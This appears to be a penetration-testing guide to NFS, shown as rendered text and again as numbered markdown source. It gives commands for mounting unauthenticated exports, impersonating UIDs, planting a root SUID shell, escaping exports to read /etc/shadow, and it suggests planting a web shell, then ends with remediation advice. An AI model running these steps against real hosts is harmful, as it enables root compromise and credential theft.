Pentesting NFS (port 2049)
When to Use
- Default port
2049/tcp/udp; NFSv2/v3 also rely on rpcbind (111) and mountd (dynamic) — NFSv4 needs only 2049.
- When
nmap/rpcinfo shows nfs, mountd, nfs_acl, or RPC program 100003.
- For enumerating exports, mounting shares, and abusing UID/GID trust and squash misconfigurations to read/write privileged files.
Quick Enumeration
# Exports + permissions (NFSv3 via mountd)
showmount -e <IP>
# rpcbind / RPC program discovery (locate mountd, nlockmgr, etc.)
rpcinfo -p <IP>
# nmap NSE: list exports, mounts, disk stats
nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <IP>
# Metasploit mount scanner
msfconsole -q -x 'use scanner/nfs/nfsmount; set RHOSTS <IP>; run; exit'
If showmount/msf show nothing, it may be an NFSv4-only server that doesn't support v3 — mount / directly and browse from there.
Critical: Checks Most Often Missed
- Missing authentication / UID impersonation — without Kerberos, the server trusts client-supplied
UID/GID. Create a local user matching the file owner's UID to access "protected" files.
- no_root_squash — root is NOT squashed; mounting lets you act as root on the share (write SUID binaries / read root-only files). The highest-impact miss.
- How to CONFIRM: mount, then
touch /mnt/n/rootcheck && ls -l /mnt/n/rootcheck shows owner root; or plant a SUID shell (see Step 3).
- no_all_squash — user identities preserved across the share, enabling broad impersonation.
- subtree_check disabled (default on Linux) → export escape — exporting a subfolder of a larger filesystem lets you reach files outside the export (e.g., read
/var/log/, write /var/www/).
- How to CONFIRM: use
nfs_analyze/fuse_nfs from hvs-consulting nfs-security-tooling to detect escape + no_root_squash.
- Group-readable root files — only UID 0 is squash-protected by default; files owned by
root but with a non-zero group (e.g., /etc/shadow, group shadow/gid 42) are readable by default.
Workflow
Step 1: Enumerate (exports, versions, RPC)
showmount -e <IP>
rpcinfo -p <IP>
nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <IP>
# Deep analysis (mounts, versions, escape, squash) :
# git clone https://github.com/hvs-consulting/nfs-security-tooling
python3 nfs_analyze.py <IP>
Step 2: Mount (no auth required for v2/v3)
mkdir -p /mnt/nfs
# v2/v3 have no real auth — prefer them for impersonation
mount -t nfs -o vers=3,nolock <IP>:/export /mnt/nfs
mount -t nfs -o vers=2,nolock <IP>:/backup /mnt/nfs # v2 lacks any authz
Step 3: Exploit / Extract (impersonation, squash, escape)
# UID impersonation: become the file owner locally
ls -ln /mnt/nfs # find owning UID
sudo useradd -u 1001 victimsim
sudo -u victimsim cat /mnt/nfs/secret.txt
# no_root_squash privilege escalation: plant a root SUID shell
cp /bin/bash /mnt/nfs/rootbash
sudo chown root:root /mnt/nfs/rootbash 2>/dev/null # works because root is not squashed
sudo chmod +s /mnt/nfs/rootbash
# then on the NFS host (or as that user): /path/rootbash -p -> euid=0
# UID/GID forcing without local accounts
# fuse_nfs (nfs-security-tooling) sends the needed UID/GID automatically
# nfsshell for interactive UID/GID switching:
# nfs> host <IP>; export; mount /export; uid 0; gid 0; get /etc/shadow
# Group-readable root file (default-readable when group != 0)
cat /mnt/nfs/../etc/shadow # via subtree escape when subtree_check disabled
Step 4: Post-access / pivot
- Read
/etc/shadow (group-readable case) and crack offline with hashcat/john.
- Use export escape to plant a web shell in
/var/www/ or read logs/keys in /var/.
- Reuse a planted SUID root shell or recovered keys/credentials to fully compromise the host and pivot.
Key Concepts
| Concept |
Description |
| UID/GID trust |
Without Kerberos, the server trusts client-sent UID/GID — local user matching enables impersonation. |
| root_squash |
Default: UID 0 mapped to nobody; non-root UIDs still trusted. |
| no_root_squash |
Root not squashed — mount and act as root (SUID planting, root-file read). |
| all_squash / no_all_squash |
Map everyone to nobody / preserve all identities respectively. |
| subtree_check |
Disabled by default on Linux → exporting a subdir allows escape to the rest of the filesystem. |
| Group-readable root files |
Files owned by root with non-zero group (e.g., shadow gid 42) readable by default. |
| NFSv4 differences |
Adds Kerberos, ACLs, stateful ops, no portmapper; clients access / directly. |
Tools & Systems
| Tool |
Purpose |
| showmount / rpcinfo |
Enumerate exports, allowed clients, and RPC programs. |
| nmap NSE |
nfs-ls, nfs-showmount, nfs-statfs. |
| mount -t nfs |
Mount shares (force vers=2/3 to skip auth). |
| nfs-security-tooling |
nfs_analyze (escape/squash detection) and fuse_nfs (force UID/GID). |
| nfsshell |
Interactive client to set arbitrary UID/GID and fetch files. |
| Metasploit |
scanner/nfs/nfsmount. |
| john / hashcat |
Crack /etc/shadow hashes read from a share. |
Common Scenarios
Scenario 1: Anonymous export → UID impersonation
showmount -e <IP> lists /home. Mounting v3 and creating a local user with the owning UID grants read of a user's SSH private key, used to log in.
Scenario 2: no_root_squash privilege escalation
/srv is exported with no_root_squash. The tester copies bash to the share, sets it root-owned + SUID, and executes rootbash -p on the host for a root shell.
Scenario 3: subtree_check escape reads /etc/shadow
/srv/ is exported but shares the root filesystem with subtree_check disabled. Using nfs_analyze, the tester escapes the export and reads /etc/shadow (group-readable), then cracks hashes offline.
Output Format
## NFS Finding
**Service**: NFS
**Port**: 2049/tcp (NFSv3 via mountd, rpcbind 111)
**Severity**: Critical
**Finding**: Export with no_root_squash and subtree_check disabled
**Evidence**:
- showmount -e <IP>: "/srv *"
- mount -o vers=3 succeeded with no authentication
- planted root-owned SUID bash in /srv -> rootbash -p returned euid=0
- escaped export to read /etc/shadow
**Impact**: Unauthenticated network clients gain root-equivalent access to the host filesystem.
**Recommendation**:
1. Remove `no_root_squash`/`no_all_squash`; keep default root_squash.
2. Restrict exports to specific client IPs and require NFSv4 + Kerberos (`sec=krb5p`).
3. Export tightly scoped directories and enable `subtree_check` where applicable.
4. Block NFS/rpcbind ports from untrusted networks.
1---2name: pentesting-nfs3description: Testing NFS services (default port 2049, with rpcbind/mountd on 111 and dynamic ports) for exported share enumeration, missing authentication, UID/GID impersonation, no_root_squash/no_all_squash misconfiguration, subtree_check export escape, and group-based file access (e.g., /etc/shadow) during authorized engagements.4license: Apache-2.05---6
7# Pentesting NFS (port 2049)
8
9## When to Use
10- Default port `2049/tcp/udp`; NFSv2/v3 also rely on `rpcbind` (`111`) and `mountd` (dynamic) — NFSv4 needs only 2049.
11- When `nmap`/`rpcinfo` shows `nfs`, `mountd`, `nfs_acl`, or RPC program `100003`.
12- For enumerating exports, mounting shares, and abusing UID/GID trust and squash misconfigurations to read/write privileged files.
13
14## Quick Enumeration
15```bash
16# Exports + permissions (NFSv3 via mountd)
17showmount -e <IP>
18
19# rpcbind / RPC program discovery (locate mountd, nlockmgr, etc.)
20rpcinfo -p <IP>
21
22# nmap NSE: list exports, mounts, disk stats
23nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <IP>
24
25# Metasploit mount scanner
26msfconsole -q -x 'use scanner/nfs/nfsmount; set RHOSTS <IP>; run; exit'
27```
28> If `showmount`/msf show nothing, it may be an **NFSv4-only** server that doesn't support v3 — mount `/` directly and browse from there.
29
30## Critical: Checks Most Often Missed
31- **Missing authentication / UID impersonation** — without Kerberos, the server trusts client-supplied `UID`/`GID`. Create a local user matching the file owner's UID to access "protected" files.
32 - How to CONFIRM:
33 ```bash
34 showmount -e <IP>
35 mount -t nfs -o vers=3,nolock <IP>:/export /mnt/n
36 ls -ln /mnt/n # note owner UIDs
37 sudo useradd -u <UID> victimsim ; sudo -u victimsim cat /mnt/n/<file>
38 ```
39- **no_root_squash** — root is NOT squashed; mounting lets you act as root on the share (write SUID binaries / read root-only files). The highest-impact miss.
40 - How to CONFIRM: mount, then `touch /mnt/n/rootcheck && ls -l /mnt/n/rootcheck` shows owner `root`; or plant a SUID shell (see Step 3).
41- **no_all_squash** — user identities preserved across the share, enabling broad impersonation.
42- **subtree_check disabled (default on Linux) → export escape** — exporting a subfolder of a larger filesystem lets you reach files outside the export (e.g., read `/var/log/`, write `/var/www/`).
43 - How to CONFIRM: use `nfs_analyze`/`fuse_nfs` from hvs-consulting nfs-security-tooling to detect escape + `no_root_squash`.
44- **Group-readable root files** — only UID 0 is squash-protected by default; files owned by `root` but with a non-zero group (e.g., `/etc/shadow`, group `shadow`/gid 42) are readable by default.
45
46## Workflow
47
48### Step 1: Enumerate (exports, versions, RPC)
49```bash
50showmount -e <IP>
51rpcinfo -p <IP>
52nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <IP>
53# Deep analysis (mounts, versions, escape, squash) :
54# git clone https://github.com/hvs-consulting/nfs-security-tooling
55python3 nfs_analyze.py <IP>
56```
57
58### Step 2: Mount (no auth required for v2/v3)
59```bash
60mkdir -p /mnt/nfs
61# v2/v3 have no real auth — prefer them for impersonation
62mount -t nfs -o vers=3,nolock <IP>:/export /mnt/nfs
63mount -t nfs -o vers=2,nolock <IP>:/backup /mnt/nfs # v2 lacks any authz
64```
65
66### Step 3: Exploit / Extract (impersonation, squash, escape)
67```bash
68# UID impersonation: become the file owner locally
69ls -ln /mnt/nfs # find owning UID
70sudo useradd -u 1001 victimsim
71sudo -u victimsim cat /mnt/nfs/secret.txt
72
73# no_root_squash privilege escalation: plant a root SUID shell
74cp /bin/bash /mnt/nfs/rootbash
75sudo chown root:root /mnt/nfs/rootbash 2>/dev/null # works because root is not squashed
76sudo chmod +s /mnt/nfs/rootbash
77# then on the NFS host (or as that user): /path/rootbash -p -> euid=0
78
79# UID/GID forcing without local accounts
80# fuse_nfs (nfs-security-tooling) sends the needed UID/GID automatically
81# nfsshell for interactive UID/GID switching:
82# nfs> host <IP>; export; mount /export; uid 0; gid 0; get /etc/shadow
83
84# Group-readable root file (default-readable when group != 0)
85cat /mnt/nfs/../etc/shadow # via subtree escape when subtree_check disabled
86```
87
88### Step 4: Post-access / pivot
89- Read `/etc/shadow` (group-readable case) and crack offline with hashcat/john.
90- Use export escape to plant a web shell in `/var/www/` or read logs/keys in `/var/`.
91- Reuse a planted SUID root shell or recovered keys/credentials to fully compromise the host and pivot.
92
93## Key Concepts
94| Concept | Description |
95|---------|-------------|
96| **UID/GID trust** | Without Kerberos, the server trusts client-sent UID/GID — local user matching enables impersonation. |
97| **root_squash** | Default: UID 0 mapped to `nobody`; non-root UIDs still trusted. |
98| **no_root_squash** | Root not squashed — mount and act as root (SUID planting, root-file read). |
99| **all_squash / no_all_squash** | Map everyone to `nobody` / preserve all identities respectively. |
100| **subtree_check** | Disabled by default on Linux → exporting a subdir allows escape to the rest of the filesystem. |
101| **Group-readable root files** | Files owned by root with non-zero group (e.g., shadow gid 42) readable by default. |
102| **NFSv4 differences** | Adds Kerberos, ACLs, stateful ops, no portmapper; clients access `/` directly. |
103
104## Tools & Systems
105| Tool | Purpose |
106|------|---------|
107| **showmount / rpcinfo** | Enumerate exports, allowed clients, and RPC programs. |
108| **nmap NSE** | `nfs-ls`, `nfs-showmount`, `nfs-statfs`. |
109| **mount -t nfs** | Mount shares (force `vers=2/3` to skip auth). |
110| **nfs-security-tooling** | `nfs_analyze` (escape/squash detection) and `fuse_nfs` (force UID/GID). |
111| **nfsshell** | Interactive client to set arbitrary UID/GID and fetch files. |
112| **Metasploit** | `scanner/nfs/nfsmount`. |
113| **john / hashcat** | Crack `/etc/shadow` hashes read from a share. |
114
115## Common Scenarios
116### Scenario 1: Anonymous export → UID impersonation
117`showmount -e <IP>` lists `/home`. Mounting v3 and creating a local user with the owning UID grants read of a user's SSH private key, used to log in.
118
119### Scenario 2: no_root_squash privilege escalation
120`/srv` is exported with `no_root_squash`. The tester copies bash to the share, sets it root-owned + SUID, and executes `rootbash -p` on the host for a root shell.
121
122### Scenario 3: subtree_check escape reads /etc/shadow
123`/srv/` is exported but shares the root filesystem with `subtree_check` disabled. Using `nfs_analyze`, the tester escapes the export and reads `/etc/shadow` (group-readable), then cracks hashes offline.
124
125## Output Format
126```
127## NFS Finding
128
129**Service**: NFS
130**Port**: 2049/tcp (NFSv3 via mountd, rpcbind 111)
131**Severity**: Critical
132**Finding**: Export with no_root_squash and subtree_check disabled
133**Evidence**:
134 - showmount -e <IP>: "/srv *"
135 - mount -o vers=3 succeeded with no authentication
136 - planted root-owned SUID bash in /srv -> rootbash -p returned euid=0
137 - escaped export to read /etc/shadow
138**Impact**: Unauthenticated network clients gain root-equivalent access to the host filesystem.
139**Recommendation**:
140 1. Remove `no_root_squash`/`no_all_squash`; keep default root_squash.
141 2. Restrict exports to specific client IPs and require NFSv4 + Kerberos (`sec=krb5p`).
142 3. Export tightly scoped directories and enable `subtree_check` where applicable.
143 4. Block NFS/rpcbind ports from untrusted networks.
144```